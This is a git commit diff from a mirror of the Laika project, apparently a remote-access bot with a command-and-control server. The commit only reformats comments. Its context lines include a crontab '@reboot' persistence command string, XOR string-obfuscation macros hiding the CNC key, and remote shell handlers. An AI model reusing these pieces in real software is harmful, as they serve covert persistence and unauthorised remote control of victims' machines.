1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 12:40:04 +00:00

Minor comments refactoring

This commit is contained in:
CPunch 2022-06-27 18:20:23 -05:00
parent ca0543fe90
commit 1d6ce15b3d
15 changed files with 46 additions and 34 deletions

View File

@ -58,7 +58,7 @@ set(SODIUM_MINIMAL ON)
set(SODIUM_STATIC ON) set(SODIUM_STATIC ON)
add_subdirectory(libsodium) add_subdirectory(libsodium)
# ========================================== [[ CONFIG DEFAULTS ]] ========================================== # ===================================== [[ CONFIG DEFAULTS ]] =====================================
set(LAIKA_VMBOXCONFIG ${CMAKE_SOURCE_DIR}/lib/include/lboxconfig.h) set(LAIKA_VMBOXCONFIG ${CMAKE_SOURCE_DIR}/lib/include/lboxconfig.h)
@ -89,7 +89,7 @@ configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/
# config vm boxes # config vm boxes
add_subdirectory(tools/vmboxgen) add_subdirectory(tools/vmboxgen)
# =========================================== [[ BUILD TOOLING ]] =========================================== # ====================================== [[ BUILD TOOLING ]] ======================================
# compile laikalib, tools, cnc & bot # compile laikalib, tools, cnc & bot
add_subdirectory(lib) add_subdirectory(lib)

View File

@ -55,7 +55,7 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaM_free(shell); laikaM_free(shell);
} }
/* ============================================[[ Shell Handlers ]]============================================= */ /* ====================================[[ Shell Handlers ]]===================================== */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];

View File

@ -18,7 +18,9 @@ void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
/* stubbed */ /* stubbed */
} }
/* =============================================[[ Packet Tables ]]============================================== */ /* ====================================[[ Packet Tables ]]===================================== */
/* clang-format off */
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
@ -43,6 +45,8 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
true), true),
}; };
/* clang-format on */
/* socket event */ /* socket event */
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) { void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock; struct sLaika_peer *peer = (struct sLaika_peer*)sock;
@ -51,7 +55,7 @@ void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
laikaS_kill(&bot->peer->sock); laikaS_kill(&bot->peer->sock);
} }
/* ==================================================[[ Bot ]]=================================================== */ /* ==========================================[[ Bot ]]========================================== */
struct sLaika_bot *laikaB_newBot(void) { struct sLaika_bot *laikaB_newBot(void) {
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY); LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);

View File

@ -37,7 +37,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
} }
} }
/* ============================================[[ Packet Handlers ]]============================================= */ /* ====================================[[ Packet Handlers ]]==================================== */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData; struct sLaika_bot *bot = (struct sLaika_bot*)uData;

View File

@ -97,7 +97,7 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaM_free(shell); laikaM_free(shell);
} }
/* ============================================[[ Shell Handlers ]]============================================= */ /* ====================================[[ Shell Handlers ]]===================================== */
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ /* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) { HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {

View File

@ -8,7 +8,7 @@
#include "cpeer.h" #include "cpeer.h"
#include "cnc.h" #include "cnc.h"
/* ==============================================[[ PeerHashMap ]]=============================================== */ /* ======================================[[ PeerHashMap ]]======================================= */
typedef struct sCNC_PeerHashElem { typedef struct sCNC_PeerHashElem {
struct sLaika_peer *peer; struct sLaika_peer *peer;
@ -27,7 +27,7 @@ uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
} }
/* ============================================[[ Packet Handlers ]]============================================= */ /* ====================================[[ Packet Handlers ]]==================================== */
bool checkPeerKey(struct sLaika_peer *peer, void *uData) { bool checkPeerKey(struct sLaika_peer *peer, void *uData) {
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0) if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
@ -93,7 +93,9 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */ laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
} }
/* =============================================[[ Packet Tables ]]============================================== */ /* =====================================[[ Packet Tables ]]===================================== */
/* clang-format off */
#define DEFAULT_PKT_TBL \ #define DEFAULT_PKT_TBL \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_REQ, \ LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_REQ, \
@ -139,7 +141,9 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
#undef DEFAULT_PKT_TBL #undef DEFAULT_PKT_TBL
/* ==================================================[[ CNC ]]=================================================== */ /* clang-format on */
/* ==========================================[[ CNC ]]========================================== */
struct sLaika_cnc *laikaC_newCNC(uint16_t port) { struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
@ -401,7 +405,7 @@ void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_tas
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc); laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
} }
/* ===============================================[[ Peer Iter ]]================================================ */ /* =======================================[[ Peer Iter ]]======================================= */
struct sWrapperData { struct sWrapperData {
tLaika_peerIter iter; tLaika_peerIter iter;

View File

@ -41,7 +41,7 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_endOutPacket(authPeer); laikaS_endOutPacket(authPeer);
} }
/* =========================================[[ [Auth] Packet Handlers ]]========================================= */ /* ================================[[ [Auth] Packet Handlers ]]================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;

View File

@ -4,7 +4,7 @@
#include "cpeer.h" #include "cpeer.h"
#include "lerror.h" #include "lerror.h"
/* ===============================================[[ Peer Info ]]================================================ */ /* =======================================[[ Peer Info ]]======================================= */
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz); struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
@ -40,7 +40,7 @@ void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo
} }
/* ==============================================[[ Shell Info ]]================================================ */ /* ======================================[[ Shell Info ]]======================================= */
int findOpenShellID(struct sLaika_peerInfo *pInfo) { int findOpenShellID(struct sLaika_peerInfo *pInfo) {
int id; int id;
@ -116,7 +116,7 @@ void laikaC_closeShells(struct sLaika_peer *peer) {
} }
} }
/* ========================================[[ [Peer] Packet Handlers ]]========================================== */ /* ================================[[ [Peer] Packet Handlers ]]================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;

View File

@ -38,7 +38,7 @@ struct sLaikaB_box {
uint8_t code[LAIKA_VM_CODESIZE]; uint8_t code[LAIKA_VM_CODESIZE];
}; };
/* ==============================================[[ Box Var API ]]=============================================== */ /* ======================================[[ Box Var API ]]====================================== */
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \ #define LAIKA_BOX_STARTVAR(type, ident, box, data) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \ uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
@ -61,7 +61,7 @@ struct sLaikaB_box {
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */ # define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif #endif
/* ==============================================[[ Laika Boxes ]]=============================================== */ /* ======================================[[ Laika Boxes ]]====================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */ /* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
#define LAIKA_BOX_SKID(_key) { \ #define LAIKA_BOX_SKID(_key) { \
@ -86,7 +86,7 @@ struct sLaikaB_box {
} \ } \
} }
/* ==============================================[[ Raw Box API ]]=============================================== */ /* ======================================[[ Raw Box API ]]====================================== */
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) { LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
struct sLaikaV_vm vm = { struct sLaikaV_vm vm = {

View File

@ -18,7 +18,7 @@
/* raw obfuscated strings */ /* raw obfuscated strings */
/* =============================================[[ Linux Strings ]]============================================== */ /* =====================================[[ Linux Strings ]]===================================== */
/* we want a semi-random file lock that is stable between similar builds, /* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */ * so we use the GIT_VERSION as our file lock :D */
@ -30,7 +30,7 @@
#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -" #define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
/* ============================================[[ Windows Strings ]]============================================= */ /* ====================================[[ Windows Strings ]]==================================== */
/* we want a semi-random mutex that is stable between similar builds, /* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */ * so we use the GIT_VERSION as our mutex :D */

View File

@ -34,7 +34,7 @@
if packet doesn't have either, it can be sent & received by both peer & cnc if packet doesn't have either, it can be sent & received by both peer & cnc
*/ */
enum { enum {
/* ==================================================[[ Peer ]]================================================== */ /* =========================================[[ Peer ]]========================================== */
LAIKAPKT_VARPKT, LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT: /* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize; * LAIKAPKT_SIZE pktSize;
@ -73,7 +73,7 @@ enum {
* uint32_t id; * uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; * char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/ */
/* ==================================================[[ Auth ]]================================================== */ /* =========================================[[ Auth ]]========================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */ LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType; * uint8_t peerType;

View File

@ -36,7 +36,7 @@ void laikaS_freePeer(struct sLaika_peer *peer) {
laikaM_free(peer); laikaM_free(peer);
} }
/* ===========================================[[ Start/End Packets ]]============================================ */ /* ===================================[[ Start/End Packets ]]=================================== */
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
@ -157,7 +157,7 @@ void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
peer->useSecure = flag; peer->useSecure = flag;
} }
/* ===========================================[[ Handle Poll Events ]]=========================================== */ /* ==================================[[ Handle Poll Events ]]=================================== */
bool laikaS_handlePeerIn(struct sLaika_socket *sock) { bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock; struct sLaika_peer *peer = (struct sLaika_peer*)sock;

View File

@ -2,7 +2,7 @@
#include "lmem.h" #include "lmem.h"
#include "lpolllist.h" #include "lpolllist.h"
/* ===========================================[[ Helper Functions ]]============================================= */ /* ===================================[[ Helper Functions ]]==================================== */
typedef struct sLaika_hashMapElem { typedef struct sLaika_hashMapElem {
SOCKET fd; SOCKET fd;
@ -21,7 +21,7 @@ uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) {
return (uint64_t)(u->fd); return (uint64_t)(u->fd);
} }
/* ==============================================[[ PollList API ]]============================================== */ /* =====================================[[ PollList API ]]====================================== */
void laikaP_initPList(struct sLaika_pollList *pList) { void laikaP_initPList(struct sLaika_pollList *pList) {
laikaS_init(); laikaS_init();

View File

@ -13,7 +13,7 @@ void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task
laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG); laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG);
} }
/* ==============================================[[ PeerHashMap ]]=============================================== */ /* ======================================[[ PeerHashMap ]]====================================== */
typedef struct sShell_hashMapElem { typedef struct sShell_hashMapElem {
int id; int id;
@ -33,7 +33,7 @@ uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
} }
/* ============================================[[ Packet Handlers ]]============================================= */ /* ====================================[[ Packet Handlers ]]==================================== */
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t endianness = laikaS_readByte(&peer->sock); uint8_t endianness = laikaS_readByte(&peer->sock);
@ -138,7 +138,9 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
shellC_closeShell(client); shellC_closeShell(client);
} }
/* ==============================================[[ Packet Table ]]============================================== */ /* =====================================[[ Packet Table ]]====================================== */
/* clang-format off */
struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
@ -171,6 +173,8 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
true) true)
}; };
/* clang-format on */
/* socket event */ /* socket event */
void shellC_onPollFail(struct sLaika_socket *sock, void *uData) { void shellC_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock; struct sLaika_peer *peer = (struct sLaika_peer*)sock;
@ -179,7 +183,7 @@ void shellC_onPollFail(struct sLaika_socket *sock, void *uData) {
laikaS_kill(&client->peer->sock); laikaS_kill(&client->peer->sock);
} }
/* ===============================================[[ Client API ]]=============================================== */ /* ======================================[[ Client API ]]======================================= */
void shellC_init(tShell_client *client) { void shellC_init(tShell_client *client) {
laikaP_initPList(&client->pList); laikaP_initPList(&client->pList);

View File

@ -15,7 +15,7 @@
jmp_buf cmdE_err; jmp_buf cmdE_err;
/* ===========================================[[ Helper Functions ]]============================================= */ /* ===================================[[ Helper Functions ]]==================================== */
tShell_cmdDef *shellS_findCmd(char *cmd); tShell_cmdDef *shellS_findCmd(char *cmd);
@ -30,7 +30,7 @@ int shellS_readInt(char *str) {
return atoi(str); return atoi(str);
} }
/* ===========================================[[ Command Handlers ]]============================================= */ /* ===================================[[ Command Handlers ]]==================================== */
void helpCMD(tShell_client *client, int argc, char *argv[]); void helpCMD(tShell_client *client, int argc, char *argv[]);
@ -110,7 +110,7 @@ void openShellCMD(tShell_client *client, int argc, char *argv[]) {
PRINTSUCC("Shell closed!\n"); PRINTSUCC("Shell closed!\n");
} }
/* =============================================[[ Command Table ]]============================================== */ /* =====================================[[ Command Table ]]===================================== */
#define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback}) #define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})